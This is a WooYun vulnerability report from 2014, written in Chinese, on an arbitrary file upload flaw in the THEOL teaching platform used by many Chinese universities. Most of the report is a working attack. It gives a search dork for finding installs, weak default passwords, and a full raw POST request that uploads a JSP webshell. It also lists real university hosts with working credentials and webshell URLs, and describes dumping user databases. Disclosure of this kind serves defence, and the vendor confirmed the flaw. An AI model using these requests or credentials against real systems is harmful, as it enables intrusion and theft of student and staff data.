当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087609

漏洞标题:THEOL网络教学综合平台通用型任意文件上传

相关厂商:清华大学教育技术研究所

漏洞作者: 路人甲

提交时间:2014-12-19 11:51

修复时间:2015-03-19 11:52

公开时间:2015-03-19 11:52

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-19: 细节已通知厂商并且等待厂商处理中
2014-12-24: 厂商已经确认,细节仅向厂商公开
2014-12-27: 细节向第三方安全合作伙伴开放
2015-02-17: 细节向核心白帽子及相关领域专家公开
2015-02-27: 细节向普通白帽子公开
2015-03-09: 细节向实习白帽子公开
2015-03-19: 细节向公众公开

简要描述:

系统某处存在任意文件上传,可脱裤

详细说明:

系统全名"THEOL清华教育在线"网络教学综合平台,由清华大学教育技术研究所提供技术支持,其部署在全国大部分高校,用作选课、评分、在线考试等
关键字:
inurl:eol/homepage/common/
或:欢迎进入网络教学综合平台

QQ截图20141217214445.jpg


1#以任意身份帐号登录该系统
帐号例:
teacher
theol_teacher
teacher_p
theol_student
以及百度到的学号
密码:
123456
000000
以及百度到的学号
2#在课程描述的教学录像处存在任意上传
页面:
http://*/eol/popups/jpkrecord/upload_file.jsp?courseId=*
其代码中有对用户的权限进行判断,如果登录的是普通权限帐号则返回错误,如果登录admin帐号则判断其它

if (!um.checkPermission(User.USER_PERM_JPKADMIN_BASIC)&&(column.getCourse().getCourseRecordOperational()== JPKConstant.COLUMN_OPERATIONAL_FALSE||um.getID()!=column.getCourse().getInstructorId()))
throw new JspException("您没有权限!");
....省略n行
<form action="<%=um.checkPermission(User.USER_PERM_JPKADMIN_BASIC)?response.encodeURL("admin_receive.jsp"):response.encodeURL("receive.jsp")%>" enctype="multipart/form-data" method="post" name="uploadForm" id="uploadForm" >


好了我们不管,直接看上传调用页面receive.jsp,
http://*/eol/popups/jpkrecord/receive.jsp
其代码中仅判断用户是否有效,甚至还有莫名奇妙的注释

<%
UserManager um = (UserManager)session.getAttribute("um");
if (!um.checkPermission(User.USER_PERM_USER_BASIC))
throw new JspException("您没有权限!");
%>
...省略
// fu.setAllowFiles(".txt;.jpg;.bmp;.rm;.rmvb;.htm;.exe;.avi");


正常能够登录的用户权限均为4098 状态值4098

QQ截图20141217224753.jpg


具体可以参考(不同版本路径可能不同)
eol/web/WEB-INF/classes/net/theol/projects/eol2004/user.class

QQ截图20141217225118.jpg


即,只要用任意一个允许登录系统的帐号登录系统后,直接通过POST以下数据,即可将马传至服务器,注意替换相应“*”位置

POST http://*/eol/popups/jpkrecord/receive.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://*/eol/popups/jpkrecord/upload_file.jsp?columnId=7262
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7de1fc3b1c0c26
Accept-Encoding: gzip, deflate
Host: *
Content-Length: 420
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=*; helpperm=95
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="rd"
columnId=7262
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="fileid"; filename="1.jsp"
Content-Type: application/octet-stream
test
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="addFile"
?? ??
-----------------------------7de1fc3b1c0c26--

漏洞证明:

以东华理工大学为例:(theol_student/123456)
http://eol.ecit.cn/eol/homepage/common/opencourse/

QQ截图20141217230353.jpg


访问地址:
http://eol.ecit.cn/eol/data/jpk/0/1.jsp

QQ截图20141217230736.jpg


POST http://eol.ecit.cn/eol/popups/jpkrecord/receive.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://eol.ecit.cn/eol/popups/jpkrecord/upload_file.jsp?columnId=7262
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7de1fc3b1c0c26
Accept-Encoding: gzip, deflate
Host: eol.ecit.cn
Content-Length: 410
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=A95906ABE55FCFDB9CAAFC5FB538181F.T5; JSESSIONID=6DA317CE3259325E42057DBCF09825C3.T5; helpperm=95
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="rd"
columnId=7262
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="fileid"; filename="1.jsp"
Content-Type: application/octet-stream
test
-----------------------------7de1fc3b1c0c26
Content-Disposition: form-data; name="addFile"
?? ??
-----------------------------7de1fc3b1c0c26--


上刀:
http://eol.ecit.cn/eol/data/jpk/0/2.jsp(sqzr)

QQ截图20141217231359.jpg


至于怎么脱裤,大家都会,就不说了。
以下案例供复现:
厦门大学course.xmu.edu.cn:(theol_teacher/123456)
http://course.xmu.edu.cn/meol/data/jpk/0/wooyun.jsp

QQ截图20141217231631.jpg


QQ截图20141217231839.jpg


QQ截图20141217231858.jpg


-----------------------------------------------------------------
以下不截图了,点到为止,学校数量太多了
温州大学e-learning.wzu.edu.cn:(09zj1/09zj1)
http://e-learning.wzu.edu.cn/data/jpk/0/wooyun.jsp
华南理工大学222.16.42.161(301A1/123456)
http://222.16.42.161/eol/data/jpk/0/wooyun.jsp
新疆大学edu.xju.edu.cn(teacher/123456)
http://edu.xju.edu.cn/eol/data/jpk/0/wooyun.jsp
山东大学www.eol.sdu.edu.cn(teacher/123456)
http://www.eol.sdu.edu.cn/eol/data/jpk/0/wooyun.jsp
五邑大学eol.wyu.edu.cn(theol_teacher/000000)
http://eol.wyu.edu.cn/eol/data/jpk/0/wooyun.jsp
......
备注:脱裤马要用POST传才可正常访问

修复方案:

上传点做好过滤吧,弱口令就爱莫能助了,密码最好不要明文存在EOL_USER表里
说一说危害吧,很多大学已经开始用单点登录了,如果裤子被脱了,相信大部分老湿和童鞋的密码都会暴露出来,话说天朝滴老湿,你们的工资好高哟~~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-12-24 08:37

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向教育网应急组织通报,由其后续协调软件生产厂商处置.

最新状态:

暂无